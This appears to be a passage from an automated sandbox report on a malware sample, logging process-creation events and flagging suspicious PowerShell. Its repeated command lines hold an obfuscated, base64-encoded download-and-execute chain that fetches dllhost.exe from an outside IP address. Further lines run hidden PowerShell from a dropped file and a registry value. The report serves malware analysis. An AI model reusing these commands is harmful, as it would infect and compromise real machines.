UiLDAsMCk7c3RhclQtc2xFRXAoMyk7U1RhUnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVuVjpBUFBEQVRBXGRsbGhvc3QuZXhlIg=='+[cHAR]0x22+'))')))"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe PoWeRSHElL -Ex BypaSs -nOp -W 1 -c DeVIcEcREdENTiaLdEplOYMENT.eXe ; iEx($(ieX('[SYsTeM.TExT.ENcODINg]'+[Char]0X3a+[Char]0X3A+'Utf8.getstRiNg([SYstEm.coNvErt]'+[chAR]58+[cHar]58+'FroMBAsE64sTrIng('+[chaR]34+'JEFLICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFEZC10eVBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1lTWJlUkRlZmluaVRpT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJMTU9OLkRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEZ3d0ssc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgREhBSGdCREYsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQkhzLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBUVyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwdXphbUVkKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BTUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAic3MiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BTUVzUGFDZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIElrc250TGdtU3F0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRBSzo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5Mi4zLjIyMC4yMi80MzAvZGxsaG9zdC5leGUiLCIkZW52OkFQUERBVEFcZGxsaG9zdC5leGUiLDAsMCk7c3RhclQtc2xFRXAoMyk7U1RhUnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVuVjpBUFBEQVRBXGRsbGhvc3QuZXhlIg=='+[cHAR]0x22+'))')))"
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" "/C PoWeRSHElL -Ex BypaSs -nOp -W 1 -c DeVIcEcREdENTiaLdEplOYMENT.eXe ; iEx($(ieX('[SYsTeM.TExT.ENcODINg]'+[Char]0X3a+[Char]0X3A+'Utf8.getstRiNg([SYstEm.coNvErt]'+[chAR]58+[cHar]58+'FroMBAsE64sTrIng('+[chaR]34+'JEFLICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFEZC10eVBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1lTWJlUkRlZmluaVRpT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJMTU9OLkRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEZ3d0ssc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgREhBSGdCREYsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQkhzLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBUVyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwdXphbUVkKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BTUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAic3MiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BTUVzUGFDZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIElrc250TGdtU3F0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRBSzo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5Mi4zLjIyMC4yMi80MzAvZGxsaG9zdC5leGUiLCIkZW52OkFQUERBVEFcZGxsaG9zdC5leGUiLDAsMCk7c3RhclQtc2xFRXAoMyk7U1RhUnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVuVjpBUFBEQVRBXGRsbGhvc3QuZXhlIg=='+[cHAR]0x22+'))')))" Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe PoWeRSHElL -Ex BypaSs -nOp -W 1 -c DeVIcEcREdENTiaLdEplOYMENT.eXe ; iEx($(ieX('[SYsTeM.TExT.ENcODINg]'+[Char]0X3a+[Char]0X3A+'Utf8.getstRiNg([SYstEm.coNvErt]'+[chAR]58+[cHar]58+'FroMBAsE64sTrIng('+[chaR]34+'JEFLICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFEZC10eVBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1lTWJlUkRlZmluaVRpT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJMTU9OLkRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEZ3d0ssc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgREhBSGdCREYsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQkhzLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBUVyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwdXphbUVkKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BTUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAic3MiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BTUVzUGFDZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIElrc250TGdtU3F0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRBSzo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5Mi4zLjIyMC4yMi80MzAvZGxsaG9zdC5leGUiLCIkZW52OkFQUERBVEFcZGxsaG9zdC5leGUiLDAsMCk7c3RhclQtc2xFRXAoMyk7U1RhUnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVuVjpBUFBEQVRBXGRsbGhvc3QuZXhlIg=='+[cHAR]0x22+'))')))" Jump to behavior
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" "/C PoWeRSHElL -Ex BypaSs -nOp -W 1 -c DeVIcEcREdENTiaLdEplOYMENT.eXe ; iEx($(ieX('[SYsTeM.TExT.ENcODINg]'+[Char]0X3a+[Char]0X3A+'Utf8.getstRiNg([SYstEm.coNvErt]'+[chAR]58+[cHar]58+'FroMBAsE64sTrIng('+[chaR]34+'JEFLICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFEZC10eVBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1lTWJlUkRlZmluaVRpT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJMTU9OLkRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEZ3d0ssc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgREhBSGdCREYsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQkhzLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBUVyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwdXphbUVkKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BTUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAic3MiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BTUVzUGFDZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIElrc250TGdtU3F0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRBSzo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5Mi4zLjIyMC4yMi80MzAvZGxsaG9zdC5leGUiLCIkZW52OkFQUERBVEFcZGxsaG9zdC5leGUiLDAsMCk7c3RhclQtc2xFRXAoMyk7U1RhUnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVuVjpBUFBEQVRBXGRsbGhvc3QuZXhlIg=='+[cHAR]0x22+'))')))"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe PoWeRSHElL -Ex BypaSs -nOp -W 1 -c DeVIcEcREdENTiaLdEplOYMENT.eXe ; iEx($(ieX('[SYsTeM.TExT.ENcODINg]'+[Char]0X3a+[Char]0X3A+'Utf8.getstRiNg([SYstEm.coNvErt]'+[chAR]58+[cHar]58+'FroMBAsE64sTrIng('+[chaR]34+'JEFLICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFEZC10eVBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1lTWJlUkRlZmluaVRpT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJMTU9OLkRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEZ3d0ssc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgREhBSGdCREYsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQkhzLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBUVyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwdXphbUVkKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BTUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAic3MiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BTUVzUGFDZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIElrc250TGdtU3F0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRBSzo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5Mi4zLjIyMC4yMi80MzAvZGxsaG9zdC5leGUiLCIkZW52OkFQUERBVEFcZGxsaG9zdC5leGUiLDAsMCk7c3RhclQtc2xFRXAoMyk7U1RhUnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVuVjpBUFBEQVRBXGRsbGhvc3QuZXhlIg=='+[cHAR]0x22+'))')))"
Suspicious command line found
Source: C:\Windows\System32\mshta.exe Process created: "C:\Windows\system32\cmd.exe" "/C PoWeRSHElL -Ex BypaSs -nOp -W 1 -c DeVIcEcREdENTiaLdEplOYMENT.eXe ; iEx($(ieX('[SYsTeM.TExT.ENcODINg]'+[Char]0X3a+[Char]0X3A+'Utf8.getstRiNg([SYstEm.coNvErt]'+[chAR]58+[cHar]58+'FroMBAsE64sTrIng('+[chaR]34+'JEFLICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFEZC10eVBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1lTWJlUkRlZmluaVRpT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJMTU9OLkRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEZ3d0ssc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgREhBSGdCREYsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQkhzLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBUVyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwdXphbUVkKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BTUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAic3MiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BTUVzUGFDZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIElrc250TGdtU3F0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRBSzo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5Mi4zLjIyMC4yMi80MzAvZGxsaG9zdC5leGUiLCIkZW52OkFQUERBVEFcZGxsaG9zdC5leGUiLDAsMCk7c3RhclQtc2xFRXAoMyk7U1RhUnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVuVjpBUFBEQVRBXGRsbGhvc3QuZXhlIg=='+[cHAR]0x22+'))')))"
Source: C:\Windows\System32\mshta.exe Process created: "C:\Windows\system32\cmd.exe" "/C PoWeRSHElL -Ex BypaSs -nOp -W 1 -c DeVIcEcREdENTiaLdEplOYMENT.eXe ; iEx($(ieX('[SYsTeM.TExT.ENcODINg]'+[Char]0X3a+[Char]0X3A+'Utf8.getstRiNg([SYstEm.coNvErt]'+[chAR]58+[cHar]58+'FroMBAsE64sTrIng('+[chaR]34+'JEFLICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFEZC10eVBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1lTWJlUkRlZmluaVRpT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJMTU9OLkRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEZ3d0ssc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgREhBSGdCREYsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQkhzLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBUVyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwdXphbUVkKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BTUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAic3MiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BTUVzUGFDZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIElrc250TGdtU3F0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRBSzo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5Mi4zLjIyMC4yMi80MzAvZGxsaG9zdC5leGUiLCIkZW52OkFQUERBVEFcZGxsaG9zdC5leGUiLDAsMCk7c3RhclQtc2xFRXAoMyk7U1RhUnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVuVjpBUFBEQVRBXGRsbGhvc3QuZXhlIg=='+[cHAR]0x22+'))')))"
Source: C:\Windows\System32\mshta.exe Process created: "C:\Windows\system32\cmd.exe" "/C PoWeRSHElL -Ex BypaSs -nOp -W 1 -c DeVIcEcREdENTiaLdEplOYMENT.eXe ; iEx($(ieX('[SYsTeM.TExT.ENcODINg]'+[Char]0X3a+[Char]0X3A+'Utf8.getstRiNg([SYstEm.coNvErt]'+[chAR]58+[cHar]58+'FroMBAsE64sTrIng('+[chaR]34+'JEFLICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFEZC10eVBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1lTWJlUkRlZmluaVRpT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJMTU9OLkRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEZ3d0ssc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgREhBSGdCREYsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQkhzLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBUVyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwdXphbUVkKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BTUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAic3MiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BTUVzUGFDZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIElrc250TGdtU3F0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRBSzo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5Mi4zLjIyMC4yMi80MzAvZGxsaG9zdC5leGUiLCIkZW52OkFQUERBVEFcZGxsaG9zdC5leGUiLDAsMCk7c3RhclQtc2xFRXAoMyk7U1RhUnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVuVjpBUFBEQVRBXGRsbGhvc3QuZXhlIg=='+[cHAR]0x22+'))')))" Jump to behavior
Source: C:\Windows\System32\mshta.exe Process created: "C:\Windows\system32\cmd.exe" "/C PoWeRSHElL -Ex BypaSs -nOp -W 1 -c DeVIcEcREdENTiaLdEplOYMENT.eXe ; iEx($(ieX('[SYsTeM.TExT.ENcODINg]'+[Char]0X3a+[Char]0X3A+'Utf8.getstRiNg([SYstEm.coNvErt]'+[chAR]58+[cHar]58+'FroMBAsE64sTrIng('+[chaR]34+'JEFLICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFEZC10eVBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1lTWJlUkRlZmluaVRpT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJMTU9OLkRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEZ3d0ssc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgREhBSGdCREYsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQkhzLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBUVyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwdXphbUVkKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BTUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAic3MiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BTUVzUGFDZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIElrc250TGdtU3F0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRBSzo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5Mi4zLjIyMC4yMi80MzAvZGxsaG9zdC5leGUiLCIkZW52OkFQUERBVEFcZGxsaG9zdC5leGUiLDAsMCk7c3RhclQtc2xFRXAoMyk7U1RhUnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVuVjpBUFBEQVRBXGRsbGhvc3QuZXhlIg=='+[cHAR]0x22+'))')))"
Suspicious powershell command line found
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe PoWeRSHElL -Ex BypaSs -nOp -W 1 -c DeVIcEcREdENTiaLdEplOYMENT.eXe ; iEx($(ieX('[SYsTeM.TExT.ENcODINg]'+[Char]0X3a+[Char]0X3A+'Utf8.getstRiNg([SYstEm.coNvErt]'+[chAR]58+[cHar]58+'FroMBAsE64sTrIng('+[chaR]34+'JEFLICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFEZC10eVBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1lTWJlUkRlZmluaVRpT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJMTU9OLkRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEZ3d0ssc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgREhBSGdCREYsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQkhzLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBUVyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwdXphbUVkKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BTUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAic3MiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BTUVzUGFDZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIElrc250TGdtU3F0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRBSzo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5Mi4zLjIyMC4yMi80MzAvZGxsaG9zdC5leGUiLCIkZW52OkFQUERBVEFcZGxsaG9zdC5leGUiLDAsMCk7c3RhclQtc2xFRXAoMyk7U1RhUnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVuVjpBUFBEQVRBXGRsbGhvc3QuZXhlIg=='+[cHAR]0x22+'))')))"
Source: C:\Users\user\AppData\Roaming\dllhost.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -windowstyle hidden "$krjning=Get-Content -Raw 'C:\Users\user\AppData\Roaming\intercessionate\Favourablies117\sulfonylurea\Aerognosy.Res';$Lukewarmly95=$krjning.SubString(5322,3);.$Lukewarmly95($krjning)"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe PoWeRSHElL -Ex BypaSs -nOp -W 1 -c DeVIcEcREdENTiaLdEplOYMENT.eXe ; iEx($(ieX('[SYsTeM.TExT.ENcODINg]'+[Char]0X3a+[Char]0X3A+'Utf8.getstRiNg([SYstEm.coNvErt]'+[chAR]58+[cHar]58+'FroMBAsE64sTrIng('+[chaR]34+'JEFLICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFEZC10eVBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1lTWJlUkRlZmluaVRpT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJMTU9OLkRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEZ3d0ssc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgREhBSGdCREYsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQkhzLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBUVyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwdXphbUVkKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BTUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAic3MiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BTUVzUGFDZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIElrc250TGdtU3F0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRBSzo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5Mi4zLjIyMC4yMi80MzAvZGxsaG9zdC5leGUiLCIkZW52OkFQUERBVEFcZGxsaG9zdC5leGUiLDAsMCk7c3RhclQtc2xFRXAoMyk7U1RhUnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVuVjpBUFBEQVRBXGRsbGhvc3QuZXhlIg=='+[cHAR]0x22+'))')))"
Source: C:\Users\user\AppData\Roaming\dllhost.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -windowstyle hidden "$krjning=Get-Content -Raw 'C:\Users\user\AppData\Roaming\intercessionate\Favourablies117\sulfonylurea\Aerognosy.Res';$Lukewarmly95=$krjning.SubString(5322,3);.$Lukewarmly95($krjning)"
Source: unknown Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -windowstyle 1 $Frligheden=(gp -Path 'HKCU:\Software\Roscoelite\').Aftvttedes;c:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe ($Frligheden)
Source: unknown Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -windowstyle 1 $Frligheden=(gp -Path 'HKCU:\Software\Roscoelite\').Aftvttedes;c:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe ($Frligheden)
